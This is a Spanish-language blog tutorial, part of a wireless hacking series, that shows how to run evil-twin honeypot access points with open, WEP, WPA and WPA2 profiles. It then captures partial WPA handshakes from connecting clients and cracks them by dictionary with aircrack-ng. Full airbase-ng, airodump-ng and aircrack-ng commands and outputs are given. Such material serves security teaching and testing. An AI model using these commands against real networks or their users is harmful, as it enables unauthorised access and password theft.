Categorías
Cracking Hacking Networking

Wireless Hacking – Cracking WPA/PSK utilizando Honeypots WPA /WPA2 – Parte XVI

Uno de los vectores más efectivos contra clientes de redes inalámbricas es la creación de Fake AP’s o Evil Twins (que en esencia parten de los mismos conceptos) dado que es relativamente fácil engañar a un cliente para que utilice un determinado punto de acceso, tal y como se ha comentado anteriormente en este blog en creando de un evil twin y creando un fake AP.

La diferencia entre el ataque de “Evil Twin” y la creación de Fake AP simple, es que el ataque de “Evil Twin” se caracteriza por ser un ataque dirigido, mientras que la creación de un Fake AP con un portal captativo, sin ningún tipo de mecanismo de autenticación, como en el caso de Karmetasploit (ver el post sobre karmetasploit) es un ataque abierto y pasivo, dado que no se ejecuta contra un cliente(s) concreto, solamente espera a que alguien quiera utilizar el AP sin ningún tipo de autenticación (Hay algunos “hackers” que les gusta tener internet gratis y que sean otros los que lo paguen por ellos). Sin embargo, cuando se trata de la creación de un Fake AP con cifrado WPA o la ejecución de un ataque de “Evil Twin” contra un AP con WPA/WPA2 con PSK, las cosas cambian. Por este motivo, en esta publicación se intentará explicar como se adaptan estas técnicas (especialmente en el caso del “Evil Twin”) contra un AP con WPA/WPA2 con PSK.

En primera instancia es necesario comprender que dado el funcionamiento del algoritmo PBKDF2 y la forma en la que se generan las claves PSK, a la fecha de escribir este articulo, no es posible determinar cual es la passphrase utilizada para la creación de dicha clave, ademas, es un mecanismo que requiere AUTENTICACIÓN MUTUA, esto quiere decir, que a diferencia de lo que ocurría con WEP, si tanto el Supplicant (cliente) como el Authenticator (AP) no tienen la misma clave PSK, la conexión es interrumpida por alguna de las partes enviando un paquete de DeAuthentication. De esta forma, ya no es posible crear un Evil Twin que sea valido para un cliente determinado si dicho Evil Twin no conoce la clave PSK que tiene el cliente. La siguiente imagen representa lo que ocurre cuando se intenta establecer una conexión entre un cliente y un Fake AP, cuando el cliente espera autenticación WPA/WPA2 con PSK.

Como en la imagen anterior, tanto el Supplicant como el Authenticator no tienen la misma PSK por lo tanto una de las entidades (en este caso el cliente) no confía en la otra y por dicho motivo envía un paquete de DeAuthentication para interrumpir la conexión. Esta es una de las principales dificultades a la hora de crear un Fake AP con WPA, sin embargo no significa que no sea “útil” el hecho de crear un fake AP con WPA, dado que aunque un cliente interrumpa la conexión por falta de “confianza” ya ha suministrado al atacante suficiente información como para ejecutar un ataque de fuerza bruta con diccionario. Sin embargo, en este punto resulta interesante enseñar al lector los posibles Fake AP o HoneyPots que es posible crear utilizando herramientas como aircrack-ng

CREANDO HONEYPOTS INALAMBRICOS

En primera instancia se pueden identificar 3 tipos de perfiles distintos para redes inalámbricas:

  • Perfil Abierto: Sin ningún tipo de autenticación:
  • Perfil WEP: Con autenticación WEP.
  • Perfil WPA-PSK: Con Autenticación WPA-PSK utilizando TKIP
  • Perfil WPA2-PSK: Con Autenticación WPA2-PSK utilizando CCMP (Algoritmo AES)

Estos 4 tipos distintos de perfiles pueden ser creados todos al mismo tiempo, utilizando incluso el mismo SSID de una forma muy sencilla utilizando airmon-ng y airbase-ng de la siguiente forma:

Perfil Abierto:

Se trata del más sencillo de todos y del que se ha hablado con anterioridad, se trata simplemente de utilizar airbase-ng para crear un nuevo Fake AP donde cualquier cliente podrá unirse a dicha red sin ningún problema.

>airmon-ng start wlan0

Interface Chipset Driver

wlan0 Atheros ath9k – [phy0]

(monitor mode enabled on mon0)

>airbase-ng -c 1 -e OPEN -a 11:11:11:11:11:11 mon0

23:03:28 Created tap interface at0

23:03:28 Trying to set MTU on at0 to 1500

23:03:28 Trying to set MTU on mon0 to 1800

ti_set_mac failed: Cannot assign requested address

You most probably want to set the MAC of your TAP interface.

ifconfig <iface> hw ether 11:11:11:11:11:11

23:03:28 Access Point with BSSID 11:11:11:11:11:11 started.

Con las lineas anteriores se ha creado el primer perfil que sera ABIERTO y sin ningún tipo de autenticación, nótese como se ha establecido el canal 1 para el SSID OPEN y también, que se ha definido una dirección MAC que será utilizada para el AP.

PERFIL WEP

Del mismo modo que se ha creado una interfaz en modo monitor, se crea nuevamente otra interfaz, esta vez con la referencia mon1 y se inicia el HoneyPot con cifrado WEP

>>airmon-ng start wlan0

Interface Chipset Driver

wlan0 Atheros ath9k – [phy0]

mon0 Atheros ath9k – [phy0]

(monitor mode enabled on mon1)

>airbase-ng -c 1 -e WEP_PROFILE -a 22:22:22:22:22:22 -W 1 mon1

23:27:08 Created tap interface at1

23:27:08 Trying to set MTU on at1 to 1500

23:27:08 Trying to set MTU on mon1 to 1800

23:27:08 Access Point with BSSID 22:22:22:22:22:22 started.

Con la linea anterior se ha creado un AP simple con cifrado WEP, lo que quiere decir que todos los paquetes intercambiados entre clientes y AP serán cifrados utilizando WEP. Este tipo de AP da lugar a otros ataques se han mencionado anteriormente tales como el Caffe Latte y Hirte Attack.

PERFIL WPA-PSK

Nuevamente se crea una interfaz en modo monitor usando airmon-ng en esta ocasión se generará la interfaz mon2

>airmon-ng start wlan0

Interface Chipset Driver

wlan0 Atheros ath9k – [phy0]

(monitor mode enabled on mon2)

mon0 Atheros ath9k – [phy0]

mon1 Atheros ath9k – [phy0]

>airbase-ng -c 1 -e WPA_PROFILE -W 1 -z 2 -a 33:33:33:33:33:33 mon2

23:56:55 Created tap interface at3

23:56:55 Trying to set MTU on at3 to 1500

23:56:55 Trying to set MTU on mon2 to 1800

ti_set_mac failed: Cannot assign requested address

You most probably want to set the MAC of your TAP interface.

ifconfig <iface> hw ether 33:33:33:33:33:33

23:56:56 Access Point with BSSID 33:33:33:33:33:33 started.

PERFIL WPA2/PSK

Ahora, se procede a crear la ultima interfaz para el perfil con WPA2/PSK, en esta ocasión la interfaz generada es la mon3

>airmon-ng start wlan0

Interface Chipset Driver

wlan0 Atheros ath9k – [phy0]

(monitor mode enabled on mon3)

mon0 Atheros ath9k – [phy0]

mon1 Atheros ath9k – [phy0]

mon2 Atheros ath9k – [phy0]

>airbase-ng -c 1 -e WPA2_PROFILE -W 1 -Z 4 -a 44:44:44:44:44:44 mon2

00:02:07 Created tap interface at4

00:02:07 Trying to set MTU on at4 to 1500

00:02:07 Access Point with BSSID 44:44:44:44:44:44 started.

En esta ocasión, se ha utilizado la opción “-Z” que permite habilitar WPA2. La diferencia entre WPA y WPA2 desde airbase-ng esta en la opción “-Z” y “-z” si se establece con minúscula indica WPA si se establece con mayúscula indica WPA2. Sin embargo hay otra característica interesante y es que ambas opciones admiten un valor numérico que indica cual es el mecanismo de cifrado, los valores admitidos y su correspondiente significado son:

1- WEP40

2- TKIP

3- WRAP

4- CCMP

5- WEP104

Con lo anterior, ya se encuentran definidos los perfiles y tal como se enseña en la siguiente imagen, todos se encuentran en ejecución paralela (recordar que aunque en este ejemplo se han definido SSID diferentes para cada Honeypot, se pueden establecer los mismos SSID para todos los perfiles y ejecutarlos de forma paralela)

Ahora, si se inicia (nuevamente) otra interfaz en modo monitor, esta ver para visualizar los beacon frames emitidos por los Honeypots creados anteriormente y tal como se enseña en la siguiente imagen, cada uno aparece en el listado de AP’s disponibles en el área con su correspondiente configuración:

Ahora bien, con WEP y OPEN no hay ningún problema en realizar diversos tipos de ataques, sin embargo con WPA y WPA2 solamente es posible llevar a cabo ataques por diccionario, para ello, es necesario en primer lugar capturar un 4-way-handshake para posteriormente realizar el proceso de crackeo tal y como se ha comentado en publicaciones anteriores. Para ello se inicia airodump-ng y se escriben los paquetes en un fichero pcap.

>airodump-ng –channel 1 mon4 –write 4wayhandshake

Cuando un cliente intente autenticarse con el Honeypot (que a efectos prácticos podrá tener un SSID valido para el cliente) el proceso va a ser normal hasta que el cliente solicite el intercambio de PTKs (es decir en el segundo paquete intercambiado) dado que el Honeypot no conoce la contraseña del AP real y por lo tanto no conoce la PSK que tiene el cliente (aunque el primer paquete enviado por el AP contiene el Anonce el cual ha sido un valor aleatorio generado por airbase-ng), automáticamente el Supplicant (cliente) procede a enviar un paquete de DeAuthentication, esto quiere decir que la conexión ha sido interrumpida. PERO, esto ocurre solamente en el tercer paquete intercambiado, esto quiere decir que el atacante ya tiene todo lo que necesita (los dos primeros paquetes para la autenticación mutua que contienen el Anonce, Snonce y MIC) para realizar un ataque por diccionario, con dicha información puede proceder a intentar crackear la clave utilizando aircrack-ng y el fichero PCAP almacenado por airodump-ng (el cual ha debido capturar el handshake)

Ahora, solamente es necesario ejecutar lo siguiente:

>aircrack-ng 4wayhandshake-01.cap -w dic.txt

Como se puede apreciar, a pesar que la conexión es interrumpida y no es tan simple crear Fake AP’s para clientes que usan WPA/WPA2, aun es posible utilizar Honeypots para conducir el mismo ataque por diccionario que se ha indicado en publicaciones anteriores y aunque se trate de un vector de ataque con probabilidades directamente proporcionales a la fortaleza de una clave y lo robusto que sea un diccionario empleado, se trata de un mecanismo que no debe ser menospreciado, dado que en ocasiones, muchos AP’s con WPA se encuentran mal configurados o con contraseñas por defecto que inutilizan las barreras defensivas que establece WPA/WPA2.

Por Daniel Echeverri

Formador e investigador en temas relacionados con la seguridad informática y hacking. Es el autor del blog thehackerway.com el cual ha sido el ganador del European Cybersecurity Blogger Awards 2021 en la categoría de “Best Technical Content“.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *